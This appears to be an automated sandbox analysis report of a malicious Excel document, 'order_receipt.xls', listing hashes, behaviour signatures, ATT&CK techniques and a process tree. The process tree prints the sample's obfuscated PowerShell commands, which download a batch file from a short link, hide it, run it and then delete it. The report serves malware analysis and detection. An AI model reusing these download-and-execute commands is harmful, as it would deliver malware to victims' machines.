Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    14-01-2021 06:56

General

  • Target

    order_receipt.xls

  • Size

    276KB

  • MD5

    66ca579b793dc4367aba256fa62f9bf2

  • SHA1

    deb4047fdd1b203d4202cc716df2d01a35730229

  • SHA256

    1c01354cd22e2e101476aeeb6fea291060ff0b536e5761766ba2d7a60facdea6

  • SHA512

    14ac4a17869bb546b58ace488c9d5d14df7fc3ddeb40b9dd26529bcff132cf6c6fdcd7a601080058f9b51f83528123823f0a413adf7904377480b6cdee5095a6

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cutt.ly/8jmDPVb

Signatures

  • Process spawned unexpected child process 5 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Sets file to hidden 1 TTPs

    Modifies file attributes to stop it showing in Explorer etc.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\order_receipt.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1408
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c po^wer^she^l^l -w 1 Start-Sleep 3; Move-Item "pd.bat" -Destination "$e`nV:T`EMP"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1992
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w 1 Start-Sleep 3; Move-Item "pd.bat" -Destination "$e`nV:T`EMP"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1784
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c po^wer^she^l^l -w 1 Start-Sleep 12; Remove-Item -Path pd.bat -Force
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1984
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w 1 Start-Sleep 12; Remove-Item -Path pd.bat -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1704
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c po^wer^she^l^l -w 1 Start-Sleep 1; attrib +s +h pd.bat
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1788
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w 1 Start-Sleep 1; attrib +s +h pd.bat
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1568
        • C:\Windows\SysWOW64\attrib.exe
          "C:\Windows\system32\attrib.exe" +s +h pd.bat
          4⤵
          • Views/modifies file attributes
          PID:320
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c po^wer^she^l^l -w 1 Start-Sleep 7;cd "$e`nV:T`EMP; ./pd.bat"
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1744
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w 1 Start-Sleep 7;cd "$e`nV:T`EMP; ./pd.bat"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:340
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/8jmDPVb','pd.bat')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1720
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://cutt.ly/8jmDPVb','pd.bat')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1664

Network

MITRE ATT&CK Matrix ATT&CK v6

Persistence

Hidden Files and Directories

2
T1158

Defense Evasion

Hidden Files and Directories

2
T1158

Modify Registry

1
T1112

Discovery

Query Registry

1
T1012

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3bf4f350-86fe-486e-8b87-41ab96d0ad9c
    MD5

    b6d38f250ccc9003dd70efd3b778117f

    SHA1

    d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a

    SHA256

    4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265

    SHA512

    67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4408bb97-19ee-4815-b02c-5a0939dddad8
    MD5

    df44874327d79bd75e4264cb8dc01811

    SHA1

    1396b06debed65ea93c24998d244edebd3c0209d

    SHA256

    55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181

    SHA512

    95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_644b5728-e9b5-45ab-9104-7136ec814422
    MD5

    be4d72095faf84233ac17b94744f7084

    SHA1

    cc78ce5b9c57573bd214a8f423ee622b00ebb1ec

    SHA256

    b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc

    SHA512

    43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6532a425-51ae-4577-837f-c6e09d9fcfcf
    MD5

    75a8da7754349b38d64c87c938545b1b

    SHA1

    5c28c257d51f1c1587e29164cc03ea880c21b417

    SHA256

    bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96

    SHA512

    798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_69670b6c-d49a-42a9-993a-10d18807f7c6
    MD5

    5e3c7184a75d42dda1a83606a45001d8

    SHA1

    94ca15637721d88f30eb4b6220b805c5be0360ed

    SHA256

    8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59

    SHA512

    fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87a
    MD5

    a725bb9fafcf91f3c6b7861a2bde6db2

    SHA1

    8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

    SHA256

    51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

    SHA512

    1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87a
    MD5

    a725bb9fafcf91f3c6b7861a2bde6db2

    SHA1

    8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

    SHA256

    51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

    SHA512

    1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7f45a795-9723-4ae3-b7ea-79ea7f92b87a
    MD5

    a725bb9fafcf91f3c6b7861a2bde6db2

    SHA1

    8bb5b83f3cc37ff1e5ea4f02acae38e72364c114

    SHA256

    51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431

    SHA512

    1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aacd219d-c7ba-43ff-a67c-9ddc2f632d63
    MD5

    597009ea0430a463753e0f5b1d1a249e

    SHA1

    4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62

    SHA256

    3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d

    SHA512

    5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e9f9468a-8cbd-4472-b808-e8b3772f4134
    MD5

    02ff38ac870de39782aeee04d7b48231

    SHA1

    0390d39fa216c9b0ecdb38238304e518fb2b5095

    SHA256

    fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876

    SHA512

    24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    11c29efdc01f5cd52f26a75e47f2bce5

    SHA1

    6a7d4b72d899b7225f8a209edbbb0c573aa92ecb

    SHA256

    2f785f140a6b7bd1c8e7d86d0c30b1a67fbd83efaac2d0304560bf39ce9736bc

    SHA512

    86078b8180022e6fd6524581192e13085dc43327b46626182f427a3fce1d9c37a03ed4dc88757b2661c713ff7172fdbe73a021b8013b0d0788678c1228c07f40

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    abd58840f1c8600e13ddd0c7119ec8f9

    SHA1

    bb8e49737c6a6c4dd6e2b12ab80c2090fbfbd988

    SHA256

    bed8b348310a9c49bb8a7c919496a5b232b3098c6ca164ad5d41c61e6c7566fa

    SHA512

    8f0ed26b00d1ca383eddb769c2ec020861e01f5419d0e96d3ab43789674612c99a57efd70b57c13cf1cb7af36142946f14b032602de665df8dd0f14d37221e24

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    244e9e3f9a0cb1d91a5b09399701aff2

    SHA1

    373c5922e860c411405f9d366289062aaa166ce2

    SHA256

    ee8626d3cdc01aa7245db40139825d1178924f555668c25f5a1fd5dde7911eca

    SHA512

    06101f1931b4b0df3947d8a25369e7c5f87ba5dabdb7f98b056d0befb00675040594f34da9a10973de86853b29e8061f9a3d2390d0adee9d58d59393a94ca762

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    2fcde37023d2c67aaf7eb7e59a39ca63

    SHA1

    f8d79f59c54d90c2bf981559fe49ffd88a499a11

    SHA256

    0747844301012ea3f391af9192b5111414958d2ce008977de5cfb79865cff95a

    SHA512

    2f005cb5c3d4306d6fd48a5d2c1011403cf7923473e99ce7f750a6bda8fb0d6fce0bd365c0b65f8151c9f757d6a5c17fa9172bd341ff18da15d56e99211ef533

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
    MD5

    216b3e88b3a67e1b87bd57240e9cc796

    SHA1

    441d4796deb3307e2c7fb879516202f70802125f

    SHA256

    1058c9714ab72f5b8e532d5c173da8b05aad5faebb224af9cd0b5d1a182cc0ee

    SHA512

    a8279976059822e0f12affba564051ce3ed1b9214a2e3b5d565a0e7bf1fe1d7fbe0ea82317ae9b07c4495b6012d93f008b99d7eaf2b6ba47a9bd3d844ea5fe8d

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    MD5

    ff746a9168337e6ac7dd131cf9d9c454

    SHA1

    fe2c8ad4f3c0d2499e2c0b983446f5e176dddafe

    SHA256

    c452bd8b85976682e873e3f7b47e8c1e92e356ff8d6b2ee81a274bfb63f2568c

    SHA512

    69aef57e42768cda16a541fc7c65baefd33888d4fa6dea22848c17447cbb7c0b1628963867e7564a53f601661652e05dbffe093eaec09757267febd6e3565c18

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    MD5

    ff746a9168337e6ac7dd131cf9d9c454

    SHA1

    fe2c8ad4f3c0d2499e2c0b983446f5e176dddafe

    SHA256

    c452bd8b85976682e873e3f7b47e8c1e92e356ff8d6b2ee81a274bfb63f2568c

    SHA512

    69aef57e42768cda16a541fc7c65baefd33888d4fa6dea22848c17447cbb7c0b1628963867e7564a53f601661652e05dbffe093eaec09757267febd6e3565c18

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    MD5

    ff746a9168337e6ac7dd131cf9d9c454

    SHA1

    fe2c8ad4f3c0d2499e2c0b983446f5e176dddafe

    SHA256

    c452bd8b85976682e873e3f7b47e8c1e92e356ff8d6b2ee81a274bfb63f2568c

    SHA512

    69aef57e42768cda16a541fc7c65baefd33888d4fa6dea22848c17447cbb7c0b1628963867e7564a53f601661652e05dbffe093eaec09757267febd6e3565c18

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
    MD5

    ff746a9168337e6ac7dd131cf9d9c454

    SHA1

    fe2c8ad4f3c0d2499e2c0b983446f5e176dddafe

    SHA256

    c452bd8b85976682e873e3f7b47e8c1e92e356ff8d6b2ee81a274bfb63f2568c

    SHA512

    69aef57e42768cda16a541fc7c65baefd33888d4fa6dea22848c17447cbb7c0b1628963867e7564a53f601661652e05dbffe093eaec09757267febd6e3565c18

  • memory/320-75-0x0000000000000000-mapping.dmp
  • memory/340-49-0x00000000062D0000-0x00000000062D1000-memory.dmp
    Filesize

    4KB

  • memory/340-92-0x00000000065C0000-0x00000000065C1000-memory.dmp
    Filesize

    4KB

  • memory/340-36-0x0000000005400000-0x0000000005401000-memory.dmp
    Filesize

    4KB

  • memory/340-43-0x0000000005790000-0x0000000005791000-memory.dmp
    Filesize

    4KB

  • memory/340-48-0x00000000061D0000-0x00000000061D1000-memory.dmp
    Filesize

    4KB

  • memory/340-93-0x00000000065D0000-0x00000000065D1000-memory.dmp
    Filesize

    4KB

  • memory/340-56-0x00000000063D0000-0x00000000063D1000-memory.dmp
    Filesize

    4KB

  • memory/340-78-0x00000000064D0000-0x00000000064D1000-memory.dmp
    Filesize

    4KB

  • memory/340-61-0x0000000006400000-0x0000000006401000-memory.dmp
    Filesize

    4KB

  • memory/340-16-0x000000006C730000-0x000000006CE1E000-memory.dmp
    Filesize

    6.9MB

  • memory/340-10-0x0000000000000000-mapping.dmp
  • memory/1568-9-0x0000000000000000-mapping.dmp
  • memory/1568-20-0x000000006C730000-0x000000006CE1E000-memory.dmp
    Filesize

    6.9MB

  • memory/1664-19-0x000000006C730000-0x000000006CE1E000-memory.dmp
    Filesize

    6.9MB

  • memory/1664-12-0x0000000000000000-mapping.dmp
  • memory/1664-31-0x00000000026E0000-0x00000000026E1000-memory.dmp
    Filesize

    4KB

  • memory/1704-21-0x0000000000C40000-0x0000000000C41000-memory.dmp
    Filesize

    4KB

  • memory/1704-94-0x0000000006140000-0x0000000006141000-memory.dmp
    Filesize

    4KB

  • memory/1704-7-0x0000000000000000-mapping.dmp
  • memory/1704-18-0x000000006C730000-0x000000006CE1E000-memory.dmp
    Filesize

    6.9MB

  • memory/1704-26-0x0000000004930000-0x0000000004931000-memory.dmp
    Filesize

    4KB

  • memory/1720-8-0x0000000000000000-mapping.dmp
  • memory/1744-5-0x0000000000000000-mapping.dmp
  • memory/1784-17-0x000000006C730000-0x000000006CE1E000-memory.dmp
    Filesize

    6.9MB

  • memory/1784-6-0x0000000000000000-mapping.dmp
  • memory/1788-4-0x0000000000000000-mapping.dmp
  • memory/1984-3-0x0000000000000000-mapping.dmp
  • memory/1992-2-0x0000000000000000-mapping.dmp